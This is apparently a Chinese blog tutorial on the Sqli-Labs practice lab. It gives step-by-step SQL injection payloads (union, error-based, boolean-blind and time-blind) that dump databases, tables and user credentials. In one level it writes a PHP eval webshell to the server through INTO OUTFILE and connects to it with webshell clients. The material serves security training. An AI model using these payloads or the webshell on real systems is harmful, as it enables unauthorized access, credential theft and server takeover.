Sqli-Labs Less1-16关详细讲解

一、首先介绍一下这个重要的数据库—information_schema数据库:

information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。information_schema是信息数据库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。

下列为information_schema数据库中schemata表、tables表、columns表的介绍。

schemata表:提供了当前mysql实例中所有数据库的信息。
schemata表中的schema_name列(字段)存储着所有数据库的名字。

information_schema数据库 --> schemata表 --> schema_name列(字段)

在这里插入图片描述

tables表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个数据库,表类型,表引擎,创建时间等信息。
tables表中的table_schema列(字段)存储着数据库的名字,table_name列(字段)存储着表的名字。

information_schema数据库 --> tables表 --> table_schema列(字段) --> table_name列(字段)

在这里插入图片描述

columns表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。
columns表中的table_schema列(字段)存储着数据库的名字,table_name列(字段)存储着表的名字,column_name列(字段)存储着列(字段) 的名字。

information_schema数据库 --> columns表 --> table_schema列(字段) --> table_name列(字段) --> column_name列(字段)

在这里插入图片描述

数据库:information_schema

有所有数据库名信息的 schemata 表:schemata(schema_name)

有所有表名信息 tables 表:tables(table_schema,table_name)

有所有列(字段)名信息的 columns 表:columns(table_schema,table_name,column_name)

核心语句:(以sqli-labs靶场的数据库为例子)

select schema_name from information_schema.schemata

select table_name from information_schema.tables where schema_name = ‘security’

select column_name from information_schema.columns where table_schema = ‘security’ and table_name = ‘users’

select group_concat(id,username,password) from security.users

SQL注入常用的函数
user():用户名
version():mysql 数据库版本
database():当前数据库名
current_user():当前用户名
system_user():系统用户名
@@datadir:数据库路径
@@version_compile_os:操作系统版本

盲注常用的函数:
if(expr,v1,v2):如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2。
length(): 返回字符串的字节长度。
ascii(): 返回字符串第一个字符的ASCII码。
substring():从字符串中提取子字符串。

\

二、Sqli-Labs靶场

Get传输方式:

Less-1 Union&Select注入-闭合符[ ’ ]

1、通过使用反斜杠\,来判断闭合字符。
如何判断闭合字符

URL:Less-1/?id=1\

在这里插入图片描述

这一步的目的:知道SQL执行语句的闭合字符是什么,以便后面的SQL语句拼接,达到SQL注入的目的。\反斜杠后面跟着的就是闭合符。

2、通过使用order by,来判断执行SQL语句后的结果集里一共返回了多少列(字段)。
order by 关键字的介绍:
order by 关键字用于对结果集按照一个列或者多个列进行排序。order by后可以填列名、数字。
举例: id是name表的第1列的列名,那么若想查询的结果按照id来排序(默认升序),则可以写成下列两种形式,效果均相同。
select * from name order by id;
select * from name order by 1;
应用到sql注入语句中,我们就可以利用(order by 数字)这条语句,通过改变后面的这个数字来查看页面是否报错,来判断执行SQL语句后一共返回了多少列(字段)。

URL:Less-1/?id=1’ order by 3 --+

在这里插入图片描述
为什么要查询出当前返还结果集中的列数(字段数)呢?
因为后面用到的union联合查询语句要求union 内部的每个 select语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 select语句中的列的顺序必须相同。所以,要查询出当前返还结果集中的列数(字段数),以便后面使用union关键字时不会出错。

3、通过使用id=-1与union操作符,来查看显示位。
union操作符的介绍:
union 操作符用于合并两个或多个 select语句的结果集。
请注意,union 内部的每个 select语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 select语句中的列的顺序必须相同。

URL:Less-1/?id=-1’ union select 1,2,3 --+

在这里插入图片描述
为什么要使id=-1呢?
当id=-1时,select语句查询到的结果集不存在,则没有返还结果;而union后半段的select语句查询到的结果集存在,则会返还结果,从而判断显示位会显示哪个列(字段)的信息。

4、通过使用version()、database(),来判断数据库版本信息和当前数据库名。

URL:Less-1/?id=-1’ union select 1,version(),database() --+

在这里插入图片描述

5、通过使用group_concat()、information_schema.schemata和schema_name,来爆出数据库。
group_concat()函数的介绍:
group_concat()函数可以用来连接字符串,在其中可以添加一些分割符,可以使得结果跟直观。

information_schema.schemata与schema_name开头有介绍。

URL:Less-1/?id=-1’ union select 1,database(),group_concat(’ ',schema_name) from information_schema.schemata --+

在这里插入图片描述
6、通过使用group_concat()、information_schema.tables、table_name、table_schema,来爆出数据库中的表名。

information_schema.tables、table_name和table_schema开头有介绍。

URL:Less-1/?id=-1’ union select 1,database(),group_concat(’ ',table_name) from information_schema.tables where table_schema=‘security’ --+

在这里插入图片描述

7、通过使用group_concat()、information_schema.columns、column_name、table_schema、table_name,来爆出表中的列名(字段名)。

information_schema.columns、column_name、table_schema和table_name开头有介绍。

URL:Less-1/?id=-1’ union select 1,database(),group_concat(’ ',column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+

在这里插入图片描述

8、通过使用group_concat()和前面爆出的表名、列名(字段名),来爆出想要的数据。

URL:Less-1/?id=-1’ union select 1,database(),group_concat(’ ‘,id,’-’,username,’-’,password) from users --+

在这里插入图片描述

Less-5 报错注入-闭合符[ ’ ]

报错注入原理讲解(点击这里)

1、通过使用反斜杠\,来判断闭合字符。
如何判断闭合字符

Less-5/?id=1\

在这里插入图片描述
这一步的目的:知道SQL执行语句的闭合字符是什么,以便后面的SQL语句拼接,达到SQL注入的目的。\反斜杠后面跟着的就是闭合符。

2、通过使用extractvalue()报错函数、version()、database(),来判断数据库版本信息和当前数据库名。

Less-5/?id=1' and extractvalue(1,concat(0x7e,(select version()),0x7e)) --+

在这里插入图片描述在这里插入图片描述

3、通过使用concat()、limit、information_schema.schemata和schema_name,来爆出数据库信息。
concat()函数的介绍:
concat()函数为字符串连接函数,将多个字符串连接成一个字符串。
limit子句的介绍:
limit子句可以被用于强制select语句返回指定的记录数。limit接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。初始记录行的偏移量是0(而不是1)。

因为报错信息长度有限制,所以需要limit子句来限制输出内容,可以通过调整limit后面的参数来逐个显示出所需要的信息。

information_schema.schemata与schema_name开头有介绍。

Less-5/?id=1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) --+

在这里插入图片描述
4、通过使用concat()、limit、information_schema.tables、table_name、table_schema,来爆出数据库中的表名。

information_schema.tables、table_name和table_schema开头有介绍。

Less-5/?id=1'  and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e))  --+

在这里插入图片描述
5、通过使用concat()、information_schema.columns、column_name、table_schema、table_name,来爆出表中的列名(字段名)。

information_schema.columns、column_name、table_schema和table_name开头有介绍。

Less-5/?id=1'  and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),0x7e))  --+

在这里插入图片描述
6、通过使用limit子句和前面爆出的表名、列名(字段名),来爆出想要的数据。

Less-5/?id=1' and extractvalue(1,concat(0x7e,(select username from security.users limit 1,1),0x7e)) --+

在这里插入图片描述

Less-5/?id=1'  and extractvalue(1,concat(0x7e,(select password from security.users limit 1,1),0x7e))  --+

在这里插入图片描述

Less-7 写入数据–闭合符[ ')) ]

一、首先,需要开启文件读写权限
MySql 使用 secure-file-priv 参数对文件读写进行限制,当参数值为 null 时无法进行文件导出操作。
先进入cmd命令界面,登录mysql
mysql -u root -p
然后使用 show variables like ‘%secure%’; 命令,查看权限是否已开启,若为 Null ,则表示未开启。
可按下面操作开启,进入 my.ini 数据库配置文件
添加 secure_file_priv="/"
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
之后,重启一下 mysql 服务器,再进入 mysql 查看,为 C:\ 就成功了。

在这里插入图片描述

二、开始注入

判断闭合符的方法(点这里)

1:使用order by子句,判断列(字段)数。

URL:Less-7/?id=1’)) order by 3 --+

在这里插入图片描述
2:写入一句话木马,虽然会报错,但是确实写入成功了。

URL:Less-7/?id=1’)) union select 1,2,"<?php @eval($_POST['test']); ?>" into outfile “C:\phpstudy_pro\WWW\sqllab\Less-7\test.php” --+

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

3:通过蚁剑、菜刀,连接一句话木马。
在这里插入图片描述在这里插入图片描述
这时就已经进入到服务器了,可以通过上传大马进一步的提取权限。

Less-8 布尔型盲注–闭合符[ ’ ]

一、首先,我们需要知道,界面回显正常和不正常的区别。

URL:Less-8/?id=1

在这里插入图片描述
URL:Less-8/?id=0
在这里插入图片描述可以看到,界面回显正常时,是有 You are in… 的,回显不正常时,时没有的,所以,之后我们就可以通过这一点来推测出正确的数据信息。

二、开始注入
1:先介绍一下,待会要使用的重要函数:length()、ascii()、substring()

length(): 函数的返回值为字符串的字节长度。

ascii():返回字符串str的最左边字符的数值。 如果str是空字符串,则返回0。 如果str为NULL,则返回NULL。ASCII适用于数字值介于0到255之间的字符。

substring():函数从特定位置开始的字符串返回一个给定长度的子字符串。如果要指定要从字符串中提取的子字符串的长度,可以使用以下形式的 substring 函数:
substring(string,position,length);

2:判断闭合符,通过一遍一遍的测试,可以看到当 id=1 后面跟着一个分号 [ ’ ] 时,界面回显错误了,所以闭合符就为分号 [ ’ ]。
如何判断闭合符(点这里)

URL:Less-8/?id=1’

在这里插入图片描述
3:通过使用 length() 函数判断当前数据库名称的长度。合理利用大于号[ > ]、小于号[ < ] ,可提升判断速度。

URL:Less-8/?id=1’ and length(database())=8 --+

length(database())=8 的时候正常回显,其他的无正常回显。

在这里插入图片描述4:用ASCII码猜解当前数据库名称,当前数据库的名称为 ‘security’ 第一个字母是 s ,对应 ascii码十进制值为 115。

判断ascii码范围不止是使用 等于号 [ = ] ,合理利用大于号[ > ]、小于号[ < ] ,可提升判断速度。

ascii码表,可自行百度,这里只列出一小部分。
在这里插入图片描述

URL:Less-8/?id=1’ and ascii(substring(database(),1,1))<116 --+

在这里插入图片描述

URL:Less-8/?id=1’ and ascii(substring(database(),1,1))=115 --+

在这里插入图片描述
5:用ASCII码猜解表名,这里只举一个例子,最后猜解的表名应为 'users’
在这里插入图片描述

URL:Less-8/?id=1’ and ascii(substring((select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),1,1))=117 --+

在这里插入图片描述
6:用ASCII码猜解字段名,这里只举一个例子,最后猜解的字段名应为 ‘username’ 和 'password’
在这里插入图片描述

URL:Less-8/?id=1’ and ascii(substring((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))=117 --+

在这里插入图片描述

7:用ASCII码猜解内容,这里只举一个例子。

在这里插入图片描述

URL:Less-8/?id=1’ and ascii(substring((select username from users limit 0,1),1,1))=68 --+

在这里插入图片描述

Less-9 延迟型注入–闭合符[ ’ ]

一、开始注入 (因为界面回显都一样,只是响应时间不同,图片展现不出差别,所以这里就不插入结果图了,直接上 SQL语句)

1、判断出闭合符 [ ’ ],当闭合符正确时,界面回显需要等待 3 秒时间

Less-9/?id=1' and sleep(3) --+

2、判断数据库名信息

Less-9/?id=1' and if(ascii(substring((select schema_name from information_schema.schemata limit 6,1),1,1))=115,sleep(3),1)
 --+

在这里插入图片描述3、判断表名信息

Less-9/?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(3),1)
 --+

在这里插入图片描述4、判断字段名信息

Less-9/?id=1' and if(ascii(substring((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117,sleep(3),1)

在这里插入图片描述5、判断数据信息

Less-9/?id=1' and if(ascii(substring((select username from users limit 0,1),1,1))=68,sleep(3),1)
 --+

在这里插入图片描述

*Post传输方式

除了传输方式不一样,其实SQL注入语句是一样的,有些详细讲解可以查看 Get 传输方式的注入讲解。因为是 Post 请求的主体信息与 Get 请求方式有区别,所以注释符可以使用 #、-- (减号减号空格)。

注意:可以自己直接在 Username 或Password 框内输入SQL注入语句。
要是想要自己发送 Post 请求的主体信息,需要自己下载插件,我这里用的是火狐浏览器,安装了 HackBar 插件。

Less-11 Union&Select注入-闭合符[ ’ ]

1、首先,在开始注入前,若是我们想要自己发送 Post 请求的主体信息,那么我们就要知道,对应输入框的名字信息。可以通过 BurpSuit 抓包查看 Post 请求的主体信息,或者直接在浏览器界面使用查看器 (F12) 查看输入框的 name 及其对应的 value。
在这里插入图片描述在这里插入图片描述

2、判断闭合符 ( \ 后面跟着的就是闭合符,为[ ’ ]) :

uname=123\&passwd=&submit=Submit

在这里插入图片描述
3、判断执行SQL语句后的结果集里一共返回了多少列(字段)

uname=123' order by 2 -- &passwd=&submit=Submit

这里因为是 Post 请求的主体信息与 Get 请求方式有区别,所以注释符可以使用 #、-- (减号减号空格)。

可以看到当 order by 2 的时候界面没有报错,所以返还的结果集里面最多有 2 列。
在这里插入图片描述

4、判断显示位:

uname=123' union select 1,2 -- &passwd=&submit=Submit

在这里插入图片描述

5、查询数据库名信息:

uname=123' union select database(),group_concat('/',schema_name) from information_schema.schemata #&passwd=&submit=Submit

在这里插入图片描述

6、查询表名信息:

uname=123' union select database(),group_concat('/',table_name) from information_schema.tables where table_schema='security' #&passwd=&submit=Submit

在这里插入图片描述

7、查询字段名信息:

uname=123' union select database(),group_concat('/',column_name) from information_schema.columns where table_schema='security' and table_name='users' #&passwd=&submit=Submit

在这里插入图片描述

8、查询数据信息:

uname=123' union select database(),group_concat(id,'/',username,'/',password) from users #&passwd=&submit=Submit

在这里插入图片描述

Less-13 报错型注入–闭合符[ ') ]

一、这里除了 Post 请求方式与 Get 请求方式不同之外,其他都一样,原理讲解可以去 Get 请求方式篇查看。这里只写执行语句。

二、开始注入
1、判断闭合符 [ ') ]
如何判断闭合符(点这里)

uname=\&passwd=&submit=Submit

在这里插入图片描述

2、爆出数据库名信息

uname=1') and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1))) #&passwd=&submit=Submit

在这里插入图片描述
3、爆出数据库表名信息

uname=1') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1))) #&passwd=&submit=Submit

在这里插入图片描述4、爆出字段名信息

uname=1') and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1))) #&passwd=&submit=Submit

在这里插入图片描述
5、爆出数据信息

uname=1') and extractvalue(1,concat(0x7e,(select username from users limit 0,1))) #&passwd=&submit=Submit

在这里插入图片描述

Less-15 布尔型盲注–闭合符[ ’ ]

、注入步骤基本上与Less-8一样,但是需要注意的一个点是,连接符需要用到的是 or 而不是 and ,原因是因为在我们不知道用户名的情况下,若是用 and 作为连接符,那么若是有一边执行结果为 false ,则整个执行结果就是 false ,这样就判断不了,所以需要用到 or ,一边为 true,则整个执行结果就为 true。

二、布尔型注入
1、判断闭合符,并且判断语句执行正确与错误,界面回显是否有不同之处。

uname=1' or 1=1 # &passwd=&submit=Submit

使用 or 1=1,这一边一定是返还 true 的,但是若是前面的闭合符不正确,那么整个语句执行起来一定也还是错误的,所以这时就可以利用这个特性去判断闭合符是什么,这里判断得出闭合符为 [ ’ ] ,并且判断得出当语句执行成功返回 true 时,界面是显示 successfully 的,若是返回 false 是,界面是显示 login attempt failed 的。
在这里插入图片描述在这里插入图片描述

2、判断数据库名信息

uname=1' or ascii(substring((select schema_name from information_schema.schemata limit 6,1),1))=115 # &passwd=&submit=Submit

在这里插入图片描述

3、判断数据库表名信息

uname=1' or ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 3,1),1))=117 # &passwd=&submit=Submit

在这里插入图片描述
4、判断字段名信息

uname=1' or ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 3,1),1))=117 # &passwd=&submit=Submit

在这里插入图片描述
5、判断数据信息

uname=1' or ascii(substring((select username from users limit 0,1),1))=68 # &passwd=&submit=Submit在这里插入图片描述三、延迟型注入
1、需要注意的是使用的连接符是 or 不是 and ,使用 if() 时,当语句正确时,应当执行 1 ,错误的时候,再执行 sleep() 。不然假如,正确时,执行的是 sleep() ,就会成 uname=1’ or sleep(3) ,这样 or 两边都没有返回 true 值,就不正确了。所以,应该是正确的时候执行的是 1,这样就成了 uname=1’ or 1,1就相当于 true,这样才正确。
2、其他的和 Less-9 基本一样,这里就列出来一步。
3、查询数据库名信息

uname=1'or if(ascii(substring((select schema_name from information_schema.schemata limit 0,1),1))=105,1,sleep(1)) #&passwd=1&submit=Submit

在这里插入图片描述

Less17:报错型注入[ ’ ]

1、判断闭合符

uname=Dumb&passwd=\&submit=Submit

在这里插入图片描述

2、爆出数据库信息

uname=Dumb&passwd=1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e))#&submit=Submit

在这里插入图片描述






\

有任何问题,欢迎大家到评论区讨论

  • 5
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值